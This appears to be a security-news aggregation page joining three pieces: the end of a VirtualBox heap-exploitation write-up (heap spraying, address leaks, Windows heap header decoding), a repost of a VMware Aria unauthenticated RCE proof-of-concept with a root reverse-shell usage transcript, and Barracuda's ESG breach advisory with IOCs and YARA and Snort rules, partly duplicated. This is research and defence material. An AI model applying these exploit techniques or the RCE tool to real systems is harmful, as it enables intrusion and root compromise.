   +0x00c m_enmObjType     : HGCMOBJ_TYPE
   +0x010 m_u32Version     : Uint4B
   +0x014 m_u32Msg         : Uint4B
   +0x018 m_pThread        : Ptr64 HGCMThread
   +0x020 m_pfnCallback    : Ptr64     int 
   +0x028 m_pNext          : Ptr64 HGCMMsgCore
   +0x030 m_pPrev          : Ptr64 HGCMMsgCore
   +0x038 m_fu32Flags      : Uint4B
   +0x03c m_rcSend         : Int4B
   +0x040 pCmd             : Ptr64 VBOXHGCMCMD
   +0x048 pHGCMPort        : Ptr64 PDMIHGCMPORT
   +0x050 pcCounter        : Ptr64 Uint4B
   +0x058 u32ClientId      : Uint4B
   +0x05c u32Function      : Uint4B
   +0x060 cParms           : Uint4B
   +0x068 paParms          : Ptr64 VBOXHGCMSVCPARM
   +0x070 tsArrival        : Uint8B

This object is perfect because:

  • It has a 
    vtable
     pointer -> We can leak a library address
  • It has 
    m_pNext
     and 
    m_pPrev
    , which points to next and previous 
    HGCMMsgCall
     in a doubly linked list -> Also good, can be used to leak heap address.

Now I will spray the heap with a lot of 

HGCMMsgCall
. This code is just copied from Sauercl0ud blog:

void spray()
{
    int rc;
    for (int i = 0; i < 64; ++i)
    {
        int32_t clientId;
        rc = hgcm_connect("VBoxGuestPropSvc", &clientId);
        for (int j = 0; j < 16 - 1; ++j)
        {
            char pattern[0x70];
            char out[2];
            rc = wait_prop(clientId, pattern, strlen(pattern) + 1, out, sizeof(out)); // call VBoxGuestPropSvc HGCM service, this will allocate a HGCMMsgCall
        }
    }
}

After some observation, I realize that the 

vtable
 is usually 
0x7F??????AD90
. Only the 
?
 part is randomized, I will use this information to identify a 
HGCMMsgCall
 on the heap. My approach is simple: I just keep reading a qword (8 bytes) each time, called 
X
. I will then check if 
(X &amp; 0xFFFF) == 0xAD90
 and 
(X &gt;&gt; 40) == 0x7F
. If this is true, we likely to reach a 
HGCMMsgCall
, and X is the 
vtable
 pointer. To leak heap address, I will do like this (this idea is also taken from Sauercl0ud blog):

  • Find a 
    HGCMMsgCall
     on the heap. Let’s call this object 
    A
     and let’s call 
    a
     the offset from the 
    pbVgaFrameBufferR3
     buffer to this object.
  • Find another 
    HGCMMsgCall
    B
     and 
    b
     are the same as above, and 
    b &gt; a
    .
  • If 
    A-&gt;m_pNext - B-&gt;m_pPrev == b - a
    , then it’s likely that 
    A-&gt;m_pNext
     is the address of 
    B
    . It means that 
    A-&gt;m_pNext - b
     is the address of 
    pbVgaFrameBufferR3
     buffer.

Actually I don’t need a heap leak to make a ROP chain, only a DLL leak is enough. But I want to show you this method so that you can make a longer ROP chain in case you need it.

Now I have enough information to write an exploit.

Testing out the exploitation idea

I implement the idea above, and run the exploit for 20 times and not a single time success. That’s 0% of success rate, very bad. Most of the time, VirtualBox just crashes. I attached a debugger and ran the exploit again, the crash happened when trying to read an address that had not been mapped. Turned out that I could read up to 

0x180000
 bytes (1.5MB) after the 
pbVgaFrameBufferR3
 buffer, but most of the time there is only about ~ 
0xC0000
 bytes that had been mapped. Another crash I found is when the exploit was trying to read an address inside a guard page. Another problem I had is that the exploit run really slow, because the OOB bug only lets me read 1 byte at a time. I need to improve the speed of the exploit as well.

Parsing heap header to avoid unmmaped pages and increase speed

Until now, I have a new idea: parsing the heap chunk headers on the heap to gain more information. First thing I want to do is to read some information about a chunk, for example, the size of the chunk, is it freed or in used? If I can do this, maybe I will be able to skip some unnecessary chunks. To make this idea come true, I have to learn some Windows heap internal. I recommend you to read these:

Basically, a heap chunk is represented by 

_HEAP_ENTRY
 structure:

0:035> dt _HEAP_ENTRY
ntdll!_HEAP_ENTRY
    ...
   +0x008 Size             : Uint2B
   +0x00a Flags            : UChar
    ...
   +0x00c PreviousSize     : Uint2B
    ...

Size
 is the size of the chunk (include the header itself), 
PreviousSize
 is the size of the previous chunk (in memory), and 
Flags
 contains extra information about a chunk, for example: is it free or in used.

Actually 

Size
 (and 
PreviousSize
) is the size of a chunk in blocks, not in bytes. 1 block is 16 bytes in length.

Parsing heap header is easy. 16 bytes after 

pbVgaFrameBufferR3
 is the chunk header of a chunk, so I can read it, get the 
Size
 and just do it again … But there is a problem: the chunk header is encoded, it is xorred with 
_HEAP->Encoding
. I will give you an example.

0:042> !heap -i 26855e40000             
Heap context set to the heap 0x0000026855e40000
0:042> db 0000026859f1f010 L0x10
00000268`59f1f010  0c 00 02 02 2e 2e 00 00-dd e0 1a 38 cd be b2 10  ...........8....
0:042> !heap -i 0000026859f1f010 
Detailed information for block entry 0000026859f1f010
Assumed heap       : 0x0000026855e40000 (Use !heap -i NewHeapHandle to change)
Header content     : 0x381AE0DD 0x10B2BECD (decoded : 0x08010801 0x10B28201)
Owning segment     : 0x00000268593f0000 (offset b2)
Block flags        : 0x1 (busy )
Total block size   : 0x801 units (0x8010 bytes)
Requested size     : 0x8000 bytes (unused 0x10 bytes)
Previous block size: 0x8201 units (0x82010 bytes)
Block CRC          : OK - 0x8  
Previous block     : 0x0000026859e9d000
Next block         : 0x0000026859f27020

The output of 

!heap -i
 said that the header content is 
0x381AE0DD 0x10B2BECD
, but after decoded it is 
0x08010801 0x10B28201
. Let’s confirm this

0:042> db 0000026859f1f010 L0x10
00000268`59f1f010  0c 00 02 02 2e 2e 00 00-dd e0 1a 38 cd be b2 10  ...........8....
0:042> dt _HEAP
ntdll!_HEAP
   +0x000 Segment          : _HEAP_SEGMENT
    ...
   +0x080 Encoding         : _HEAP_ENTRY // <-- The key to decode
    ...
0:042> dq 26855e40000+0x80 L2
00000268`55e40080  00000000`00000000 00003ccc`301be8dc

So the key is 

0x00003ccc301be8dc
0x00003ccc301be8dc ^ 0x10b2becd381ae0dd = 0x10b2820108010801
, which is exactly what shown in 
!heap -i
 command.

So to parse a chunk header, we need to leak the 

_HEAP->Encoding
. I can’t not directly leak it but I have an idea to calculate it. 
pbVgaFrameBufferR3
 has the size of 
0x80010
 bytes (include the header), so the chunk right behind it (let’s call this chunk 
A
) must have 
PreviousSize
 equals to 
0x8001
. Knowing this, I can calculate 2 bytes key to decode 
PreviousSize
.

KeyToDecodePreviousSize = A->PreviousSize ^ 0x8001

Next, I find another chunk after chunk 

A
, let’s call this chunk 
B
B
 is likely to be a valid chunk if:

(B->PreviousSize ^ KeyToDecodePreviousSize) << 4 == Distance between A and B

B->PreviousSize ^ KeyToDecodePreviousSize
 is also the value of 
A->Size ^ KeyToDecodeSize
, so:

KeyToDecodeSize = B->PreviousSize ^ KeyToDecodePreviousSize ^ A->Size

Now I am able to decode 

Size
 and 
PreviousSize
. What about the 
Flags
? I don’t know a good way to decode it, so I just run VirtualBox multiple times and observe that most of the time chunk 
A
 is in used. So if any other chunk has the LSB bit of 
Flags
 equals to the LSB bit of 
A-&gt;Flags
, then it is also in used and vice versa. With this informaton, I can walk the heap easily, the algorithm looks like this:

uint32_t curOffset = 0x80000;
while (curOffset < 0x200000) { // 0x200000 is the maximum we can touch
    HEAP_ENTRY hE;
    readHeapEntry(curOffset, &hE);
    if (isInUsed(&hE))
        findSprayedObjects(curOffset, &hE);
    curOffset += ((hE.Size ^ KeyToDecodeSize) << 4); // 1 block is 16 bytes
}

Now my exploit runs a lot faster, also the success rate is increased a little. But sometime the exploit still crashed VirtualBox. I attach Windbg and see that it was trying to access a guard page, and this guard page is inside an in-used chunk. After a few days of researching, I finally knew that chunk was a 

UserBlocks
.

How does LFH work and what is a 
UserBlocks
?

Quoted from Microsoft:

Heap fragmentation is a state in which available memory is broken into small, noncontiguous blocks. When a heap is fragmented, memory allocation can fail even when the total available memory in the heap is enough to satisfy a request, because no single block of memory is large enough. The low-fragmentation heap (LFH) helps to reduce heap fragmentation. The LFH is not a separate heap. Instead, it is a policy that applications can enable for their heaps. When the LFH is enabled, the system allocates memory in certain predetermined sizes

When an application makes more than 17 allocations of the same size, the LFH will be turned on (for that size only). We spray a lot of objects (more than 17), so they will all be served by the LFH. Basically this is how LFH works:

  • A big chunk will be allocated, this is a 
    UserBlocks
     struct. A 
    UserBlocks
     contains some metadata and a lot of small chunks.
  • Any heap allocation after that will return a (freed) small chunk in the 
    UserBlocks
    .

UserBlocks
 is represented by a 
_HEAP_USERDATA_HEADER
 struct:

0:042> dt _HEAP_USERDATA_HEADER
ntdll!_HEAP_USERDATA_HEADER
   +0x000 SFreeListEntry   : _SINGLE_LIST_ENTRY
   +0x000 SubSegment       : Ptr64 _HEAP_SUBSEGMENT
   +0x008 Reserved         : Ptr64 Void
   +0x010 SizeIndexAndPadding : Uint4B
   +0x010 SizeIndex        : UChar
   +0x011 GuardPagePresent : UChar
   +0x012 PaddingBytes     : Uint2B
   +0x014 Signature        : Uint4B
   +0x018 EncodedOffsets   : _HEAP_USERDATA_OFFSETS
   +0x020 BusyBitmap       : _RTL_BITMAP_EX
   +0x030 BitmapData       : [1] Uint8B

There is 2 important things to note here:

  • The 
    _HEAP_USERDATA_HEADER
     is not encoded like the 
    HEAP_ENTRY
    . A 
    UserBlocks
     is also a regullar chunk, so it is in the “user data” part of another 
    HEAP_ENTRY
    .
  • Signature
     is always 
    0xF0E0D0C0
    , so we can easily find it in the heap.
  • GuardPagePresent
    : if this is non zero, the 
    UserBlocks
     has a page guard at the end, so we can skip 
    0x1000
     bytes at the end, preventing crashes.
  • BusyBitmap
     contains the address of 
    BitmapData
    . This can be used as a reliable way to leak heap address too

Knowing that all the 

HGCMMsgCall
 sprayed by us will be served by LFH, I will only find them in a 
UserBlocks
. This makes the exploit run a lot of faster than the first exploit I made.

More success rate, more speed

I also noted that each time I want to send a HGCM message, I have to create a 

HGCMClient
. Since there are many 
HGCMClient
s being allocated when spraying, I also look for their 
vtable
 pointer.

One more thing is that every chunk address will have to be the multiple of 

0x10
, so I only read qwords at these locations to find 
vtable
. This will also increase the speed of my exploit.

Conclusion

I would like to give a special thanks to my mentor @bienpnn, who was actively helping me throughout the project. This is my first time exploiting a real Windows software so it is really fun. After this project, I learned more about Windows heap internal, how a hypervisor works, how to debug Windows kernel and a ton of other knowledge. I hope this post can help you if you are about to target VirtualBox, and see you in another blog post!

CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE

CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE

Original text by summoning.team

🔥 PoC https://github.com/sinsinology/CVE-2023-20887 for CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE
This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed.

🔖RCA here https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/

Usage:

$python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
$ sudo bash
$ id
uid=0(root) gid=0(root) groups=0(root)
$ hostname
vrni-platform-release

Barracuda Email Security Gateway Appliance (ESG) Vulnerability

Barracuda Email Security Gateway Appliance (ESG) Vulnerability

Original text by Barracuda

UNE 6th, 2023:

ACTION NOTICE: Impacted ESG appliances must be immediately replaced regardless of patch version level. If you have not replaced your appliance after receiving notice in your UI, contact support now (support@barracuda.com).  

Barracuda’s remediation recommendation at this time is full replacement of the impacted ESG. 

JUNE 1st, 2023:

Preliminary Summary of Key Findings

Document History

Version/DateNotes
1.0: May 30, 2023Initial Document
1.1 : June 1, 2023Additional IOCs and rules included

Barracuda Networks’ priorities throughout this incident have been transparency and to use this as an opportunity to strengthen our policies, practices, and technology to further protect against future attacks. Although our investigation is ongoing, the purpose of this document is to share preliminary findings, provide the known Indicators of Compromise (IOCs), and share YARA rules to aid our customers in their investigations, including with respect to their own environments.

Timeline

  • On May 18, 2023, Barracuda was alerted to anomalous traffic originating from Barracuda Email Security Gateway (ESG) appliances.
  • On May 18, 2023, Barracuda engaged Mandiant, leading global cyber security experts, to assist in the investigation.
  • On May 19, 2023, Barracuda identified a vulnerability (CVE-2023-28681) in our Email Security Gateway appliance (ESG).
  • On May 20, 2023, a security patch to remediate the vulnerability was applied to all ESG appliances worldwide.
  • On May 21, 2023, a script was deployed to all impacted appliances to contain the incident and counter unauthorized access methods.
  • A series of security patches are being deployed to all appliances in furtherance of our containment strategy.

Key Findings

While the investigation is still on-going, Barracuda has concluded the following:

  • The vulnerability existed in a module which initially screens the attachments of incoming emails. No other Barracuda products, including our SaaS email security services, were subject to the vulnerability identified.
  • Earliest identified evidence of exploitation of CVE-2023-2868 is currently October 2022.
  • Barracuda identified that CVE-2023-2868 was utilized to obtain unauthorized access to a subset of ESG appliances.
  • Malware was identified on a subset of appliances allowing for persistent backdoor access.
  • Evidence of data exfiltration was identified on a subset of impacted appliances..

Users whose appliances we believe were impacted have been notified via the ESG user interface of actions to take. Barracuda has also reached out to these specific customers. Additional customers may be identified in the course of the investigation.

CVE-2023-2868

On May 19, 2023, Barracuda Networks identified a remote command injection vulnerability (CVE-2023-2868) present in the Barracuda Email Security Gateway (appliance form factor only) versions 5.1.3.001-9.2.0.006. The vulnerability stemmed from incomplete input validation of user supplied .tar files as it pertains to the names of the files contained within the archive. Consequently, a remote attacker could format file names in a particular manner that would result in remotely executing a system command through Perl’s qx operator with the privileges of the Email Security Gateway product.

Barracuda’s investigation to date has determined that a third party utilized the technique described above to gain unauthorized access to a subset of ESG appliances.

Malware

This section details the malware that has been identified to date, and to assist in tracking, codenames for the malware have been assigned.

SALTWATER

SALTWATER is a trojanized module for the Barracuda SMTP daemon (bsmtpd) that contains backdoor functionality. The capabilities of SALTWATER include the ability to upload or download arbitrary files, execute commands, as well as proxy and tunneling capabilities.

Identified at path: /home/product/code/firmware/current/lib/smtp/modules on a subset of ESG appliances.

The backdoor is implemented using hooks on the send, recv, close syscalls and amounts to five components, most of which are referred to as “Channels” within the binary. In addition to providing proxying capabilities, these components exhibit backdoor functionality.  The five (5) channels can be seen in the list below.

  • DownloadChannel
  • UploadChannel
  • ProxyChannel
  • ShellChannel
  • TunnelArgs

Mandiant is still analyzing SALTWATER to determine if it overlaps with any other known malware families.

Table 1 below provides the file metadata related to a SALTWATER variant.

NameSHA256
mod_udp.so1c6cad0ed66cf8fd438974e1eac0bc6dd9119f84892930cb71cb56a5e985f0a4
MD5File TypeSize (Bytes)
827d507aa3bde0ef903ca5dec60cdec8ELF x861,879,643

Table 1: SALTWATER variant metadata

SEASPY

SEASPY is an x64 ELF persistence backdoor that poses as a legitimate Barracuda Networks service and establishes itself as a PCAP filter, specifically monitoring traffic on port 25 (SMTP) and port 587. SEASPY contains backdoor functionality that is activated by a «magic packet».

Identified at path: /sbin/ on a subset of ESG appliances.

Mandiant analysis has identified code overlap between SEASPY and cd00r, a publicly available backdoor.

Table 2 below provides the file metadata related to a SEASPY variant.

NameSHA256
BarracudaMailService3f26a13f023ad0dcd7f2aa4e7771bba74910ee227b4b36ff72edc5f07336f115
MD5File TypeSize (Bytes)
4ca4f582418b2cc0626700511a6315c0ELF x642,924,217

Table 2: SEASPY variant metadata

SEASIDE

SEASIDE is a Lua based module for the Barracuda SMTP daemon (bsmtpd) that monitors SMTP HELO/EHLO commands to receive a command and control (C2) IP address and port which it passes as arguments to an external binary that establishes a reverse shell.

Table 3 below provides the file metadata related to a SEASIDE.

NameSHA256
mod_require_helo.luafa8996766ae347ddcbbd1818fe3a878272653601a347d76ea3d5dfc227cd0bc8
MD5File TypeSize (Bytes)
cd2813f0260d63ad5adf0446253c2172Lua module2,724

Table 3: SEASIDE metadata

Recommendations For Impacted Customers

  1. Ensure your ESG appliance is receiving and applying updates, definitions, and security patches from Barracuda. Contact Barracuda support (support@barracuda.com) to validate if the appliance is up to date.
  2. Discontinue the use of the compromised ESG appliance and contact Barracuda support (support@barracuda.com) to obtain a new ESG virtual or hardware appliance.
  3. Rotate any applicable credentials connected to the ESG appliance:
    o  Any connected LDAP/AD
    o  Barracuda Cloud Control
    o  FTP Server
    o  SMB
    o  Any private TLS certificates
  4. Review your network logs for any of the IOCs listed below and any unknown IPs. Contact compliance@barracuda.com if any are identified.

To support customers in the investigations of their environments, we are providing a list of all endpoint and network indicators observed over the course of the investigation to date. We have also developed a series of YARA rules that can be found in the section below.

Endpoint IOCs

Table 4 lists the endpoint IOCs, including malware and utilities, attributed to attacker activity during the investigation.

      File Name  MD5 HashType 
1appcheck.shN/ABash script
2aacore.shN/ABash script
31.shN/ABash script
4mod_udp.so827d507aa3bde0ef903ca5dec60cdec8SALTWATER Variant
5intentN/AN/A
6install_helo.tar2ccb9759800154de817bf779a52d48f8TAR Package
7intent_helof5ab04a920302931a8bd063f27b745ccBash script
8pd177add288b289d43236d2dba33e65956Reverse Shell
9update_v31.sh881b7846f8384c12c7481b23011d8e45Bash script
10mod_require_helo.luacd2813f0260d63ad5adf0446253c2172SEASIDE
11BarracudaMailService82eaf69de710abdc5dea7cd5cb56cf04SEASPY
12BarracudaMailServicee80a85250263d58cc1a1dc39d6cf3942SEASPY
13BarracudaMailService5d6cba7909980a7b424b133fbac634acSEASPY
14BarracudaMailService1bbb32610599d70397adfdaf56109ff3SEASPY
15BarracudaMailService4b511567cfa8dbaa32e11baf3268f074SEASPY
16BarracudaMailServicea08a99e5224e1baf569fda816c991045SEASPY
17BarracudaMailService19ebfe05040a8508467f9415c8378f32SEASPY
18mod_udp.so1fea55b7c9d13d822a64b2370d015da7SALTWATER Variant
19mod_udp.so64c690f175a2d2fe38d3d7c0d0ddbb6eSALTWATER Variant
20mod_udp.so4cd0f3219e98ac2e9021b06af70ed643SALTWATER Variant

Table 4: Endpoint IOCs

Network IOCs

Table 5 lists the network IOCs, including IP addresses and domain names, attributed to attacker activity during the investigation.

   IndicatorASNLocation
1xxl17z.dnslog.cnN/AN/A
2mx01.bestfindthetruth.comN/AN/A
364.176.7.59AS-CHOOPAUS
464.176.4.234AS-CHOOPAUS
552.23.241.105AMAZON-AESUS
623.224.42.5CloudRadium L.L.CUS
7192.74.254.229PEG TECH INCUS
8192.74.226.142PEG TECH INCUS
9155.94.160.72QuadraNet Enterprises LLCUS
10139.84.227.9AS-CHOOPAUS
11137.175.60.253PEG TECH INCUS
12137.175.53.170PEG TECH INCUS
13137.175.51.147PEG TECH INCUS
14137.175.30.36PEG TECH INCUS
15137.175.28.251PEG TECH INCUS
16137.175.19.25PEG TECH INCUS
17107.148.219.227PEG TECH INCUS
18107.148.219.55PEG TECH INCUS
19107.148.219.54PEG TECH INCUS
20107.148.219.53PEG TECH INCUS
21107.148.219.227PEG TECH INCUS
22107.148.149.156PEG TECH INCUS
23104.223.20.222QuadraNet Enterprises LLCUS
24103.93.78.142EDGENAP LTDJP
25103.27.108.62TOPWAY GLOBAL LIMITEDHK
26137.175.30.86PEGTECHINCUS
27199.247.23.80AS-CHOOPADE
2838.54.1.82KAOPU CLOUD HK LIMITEDSG
29107.148.223.196PEGTECHINCUS
3023.224.42.29CNSERVERSUS
31137.175.53.17PEGTECHINCUS
32103.146.179.101GIGABITBANK GLOBALHK

Table 5: Network IOCs

YARA Rules

CVE-2023-2868

The following three (3) YARA rules can be used to hunt for the malicious TAR file which exploits CVE-2023-2868:

rule M_Hunting_Exploit_Archive_2
 {
     meta:
         description = "Looks for TAR archive with /tmp/ base64 encoded being part of filename of enclosed files"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $b64_tmp = "/tmp/" base64
     condition:
         filesize < 1MB and

         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $b64_tmp in (i * 512 .. i * 512 + 250)

         )
 }

rule M_Hunting_Exploit_Archive_3
 {
     meta:
         description = "Looks for TAR archive with openssl base64 encoded being part of filename of enclosed files"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $b64_openssl = "openssl" base64
     condition:

         filesize < 1MB and
         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $b64_openssl in (i * 512 .. i * 512 + 250)

         )
 }

rule M_Hunting_Exploit_Archive_CVE_2023_2868
 {
     meta:
         description = "Looks for TAR archive with single quote/backtick as start of filename of enclosed files. CVE-2023-2868"
         date_created = "2023-05-26"
         date_modified = "2023-05-26"
         md5 = "0d67f50a0bf7a3a017784146ac41ada0"
         version = "1.0"
     strings:
         $ustar = { 75 73 74 61 72 }
         $qb = "'`"
     condition:

         filesize < 1MB and
         $ustar at 257 and

         for any i in (0 .. #ustar) : (

             $qb at (@ustar[i] + 255)

         )
 }

SALTWATER

The following three (3) YARA rule can be used to hunt for SALTWATER:

rule M_Hunting_Linux_Funchook
 {
     strings:
         $f = "funchook_"
         $s1 = "Enter funchook_create()"
         $s2 = "Leave funchook_create() => %p"
         $s3 = "Enter funchook_prepare(%p, %p, %p)"
         $s4 = "Leave funchook_prepare(..., [%p->%p],...) => %d"
         $s5 = "Enter funchook_install(%p, 0x%x)"
         $s6 = "Leave funchook_install() => %d"
         $s7 = "Enter funchook_uninstall(%p, 0x%x)"
         $s8 = "Leave funchook_uninstall() => %d"
         $s9 = "Enter funchook_destroy(%p)"
         $s10 = "Leave funchook_destroy() => %d"
         $s11 = "Could not modify already-installed funchook handle."
         $s12 = "  change %s address from %p to %p"
         $s13 = "  link_map addr=%p, name=%s"
         $s14 = "  ELF type is neither ET_EXEC nor ET_DYN."
         $s15 = "  not a valid ELF module %s."
         $s16 = "Failed to protect memory %p (size=%"
         $s17 = "  protect memory %p (size=%"
         $s18 = "Failed to unprotect memory %p (size=%"
         $s19 = "  unprotect memory %p (size=%"
         $s20 = "Failed to unprotect page %p (size=%"
         $s21 = "  unprotect page %p (size=%"
         $s22 = "Failed to protect page %p (size=%"
         $s23 = "  protect page %p (size=%"
         $s24 = "Failed to deallocate page %p (size=%"
         $s25 = " deallocate page %p (size=%"
         $s26 = "  allocate page %p (size=%"
         $s27 = "  try to allocate %p but %p (size=%"
         $s28 = "  allocate page %p (size=%"
         $s29 = "Could not find a free region near %p"
         $s30 = "  -- Use address %p or %p for function %p"
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and (#f > 5 or 4 of ($s*))
 }

rule M_Hunting_Linux_SALTWATER_1
 {
     strings:
         $s1 = { 71 75 69 74 0D 0A 00 00 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
         $s2 = { 00 8B D5 AD 93 B7 54 D5 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and any of them
 }

rule M_Hunting_Linux_SALTWATER_2
 {
     strings:
         $c1 = "TunnelArgs"
         $c2 = "DownloadChannel"
         $c3 = "UploadChannel"
         $c4 = "ProxyChannel"
         $c5 = "ShellChannel"
         $c6 = "MyWriteAll"
         $c7 = "MyReadAll"
         $c8 = "Connected2Vps"
         $c9 = "CheckRemoteIp"
         $c10 = "GetFileSize"
         $s1 = "[-] error: popen failed"
         $s2 = "/home/product/code/config/ssl_engine_cert.pem"
         $s3 = "libbindshell.so"
     condition:
         filesize < 15MB and uint32(0) == 0x464c457f and (2 of ($s*) or 4 of ($c*))
 }

The following SNORT rule can be used to hunt for SEASPY magic packets:

alert tcp any any -> any [25,587] (msg:»M_Backdoor_SEASPY»; flags:S; dsize:>9; content:»oXmp»; offset:0; depth:4; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1;)

The following SNORT rules require Suricata 5.0.4 or newer and can be used to hunt for SEASPY magic packets:

alert tcp any any -> any [25,587] (msg:»M_Backdoor_SEASPY_1358″; flags:S; tcp.hdr; content:»|05 4e|»; offset:22; depth:2; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1;)

alert tcp any any -> any [25,587] (msg:»M_Backdoor_SEASPY_58928″; flags:S; tcp.hdr; content:»|e6 30|»; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1;)

alert tcp any any -> any [25,587] (msg:»M_Backdoor_SEASPY_58930″; flags:S; tcp.hdr; content:»|e6 32|»; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1;)

MAY 30th, 2023:

Preliminary Summary of Key Findings

Barracuda Networks priorities throughout this incident have been transparency and to use this as an opportunity to strengthen our policies, practices, and technology to further protect against future attacks. Although our investigation is ongoing, the purpose of this document is to share preliminary findings, provide the known Indicators of Compromise (IOCs), and share YARA rules to aid our customers in their investigations, including with respect to their own environments.

Timeline

  • On May 18, 2023, Barracuda was alerted to anomalous traffic originating from Barracuda Email Security Gateway (ESG) appliances.
  • On May 18, 2023, Barracuda engaged Mandiant, leading global cyber security experts, to assist in the investigation.
  • On May 19, 2023, Barracuda identified a vulnerability (CVE-2023-28681) in our Email Security Gateway appliance (ESG).
  • On May 20, 2023, a security patch to remediate the vulnerability was applied to all ESG appliances worldwide.
  • On May 21, 2023, a script was deployed to all impacted appliances to contain the incident and counter unauthorized access methods.
  • A series of security patches are being deployed to all appliances in furtherance of our containment strategy.

Key Findings

While the investigation is still on-going, Barracuda has concluded the following:

  • The vulnerability existed in a module which initially screens the attachments of incoming emails. No other Barracuda products, including our SaaS email security services, were subject to the vulnerability identified.
  • Earliest identified evidence of exploitation of CVE-2023-2868 is currently October 2022.
  • Barracuda identified that CVE-2023-2868 was utilized to obtain unauthorized access to a subset of ESG appliances.
  • Malware was identified on a subset of appliances allowing for persistent backdoor access.
  • Evidence of data exfiltration was identified on a subset of impacted appliances.

Users whose appliances we believe were impacted have been notified via the ESG user interface of actions to take. Barracuda has also reached out to these specific customers. Additional customers may be identified in the course of the investigation.

CVE-2023-2868

On May 19, 2023, Barracuda Networks identified a remote command injection vulnerability (CVE-2023-2868) present in the Barracuda Email Security Gateway (appliance form factor only) versions 5.1.3.001-9.2.0.006. The vulnerability stemmed from incomplete input validation of user supplied .tar files as it pertains to the names of the files contained within the archive. Consequently, a remote attacker could format file names in a particular manner that would result in remotely executing a system command through Perl’s qx operator with the privileges of the Email Security Gateway product.

Barracuda’s investigation to date has determined that a third party utilized the technique described above to gain unauthorized access to a subset of ESG appliances.

Malware

This section details the malware that has been identified to date.

SALTWATER

SALTWATER is a trojanized module for the Barracuda SMTP daemon (bsmtpd) that contains backdoor functionality. The capabilities of SALTWATER include the ability to upload or download arbitrary files, execute commands, as well as proxy and tunneling capabilities.

Identified at path: /home/product/code/firmware/current/lib/smtp/modules on a subset of ESG appliances.

The backdoor is implemented using hooks on the send, recv, close syscalls and amounts to five components, most of which are referred to as “Channels” within the binary. In addition to providing backdoor and proxying capabilities, these components exhibit classic backdoor functionality.  The five (5) channels can be seen in the list below.

  • DownloadChannel
  • UploadChannel
  • ProxyChannel
  • ShellChannel
  • TunnelArgs

Mandiant is still analyzing SALTWATER to determine if it overlaps with any other known malware families. Table 1 below provides the file metadata related to a SALTWATER variant.

Table 1 below provides the file metadata related to a SALTWATER variant.

NameSHA256
mod_udp.so1c6cad0ed66cf8fd438974e1eac0bc6dd9119f84892930cb71cb56a5e985f0a4
MD5File TypeSize (Bytes)
827d507aa3bde0ef903ca5dec60cdec8ELF x861,879,643

Table 1: SALTWATER variant metadata

SEASPY

SEASPY is an x64 ELF persistence backdoor that poses as a legitimate Barracuda Networks service and establishes itself as a PCAP filter, specifically monitoring traffic on port 25 (SMTP). SEASPY also contains backdoor functionality that is activated by a «magic packet».

Identified at path: /sbin/ on a subset of ESG appliances.

Mandiant analysis has identified code overlap between SEASPY and cd00r, a publicly available backdoor.

Table 2 below provides the file metadata related to a SEASPY variant.

NameSHA256
BarracudaMailService3f26a13f023ad0dcd7f2aa4e7771bba74910ee227b4b36ff72edc5f07336f115
MD5File TypeSize (Bytes)
4ca4f582418b2cc0626700511a6315c0ELF x642,924,217

Table 2: SEASPY variant metadata

SEASIDE

SEASIDE is a Lua based module for the Barracuda SMTP daemon (bsmtpd) that monitors SMTP HELO/EHLO commands to receive a command and control (C2) IP address and port which it passes as arguments to an external binary that establishes a reverse shell.

Table 3 below provides the file metadata related to a SEASIDE.

NameSHA256
mod_require_helo.luafa8996766ae347ddcbbd1818fe3a878272653601a347d76ea3d5dfc227cd0bc8
MD5File TypeSize (Bytes)
cd2813f0260d63ad5adf0446253c2172Lua module2,724

Table 3: SEASIDE metadata

Recommendations For Impacted Customers

  1. Ensure your ESG appliance is receiving and applying updates, definitions, and security patches from Barracuda. Contact Barracuda support (support@barracuda.com) to validate if the appliance is up to date.
  2. Discontinue the use of the compromised ESG appliance and contact Barracuda support (support@barracuda.com) to obtain a new ESG virtual or hardware appliance.
  3. Rotate any applicable credentials connected to the ESG appliance:
    o  Any connected LDAP/AD
    o  Barracuda Cloud Control
    o  FTP Server
    o  SMB
    o  Any private TLS certificates
  4. Review your network logs for any of the IOCs listed below and any unknown IPs. Contact compliance@barracuda.com if any are identified.

To support customers in the investigations of their environments, we are providing a list of all endpoint and network indicators observed over the course of the investigation to date. We have also developed a series of YARA rules that can be found in the section below.

Endpoint IOCs

Table 4 lists the endpoint IOCs, including malware and utilities, attributed to attacker activity during the investigation.

      File Name  MD5 HashType 
1appcheck.shN/ABash script
2aacore.shN/ABash script
31.shN/ABash script
4mod_udp.so827d507aa3bde0ef903ca5dec60cdec8SALTWATER Variant
5intentN/AN/A
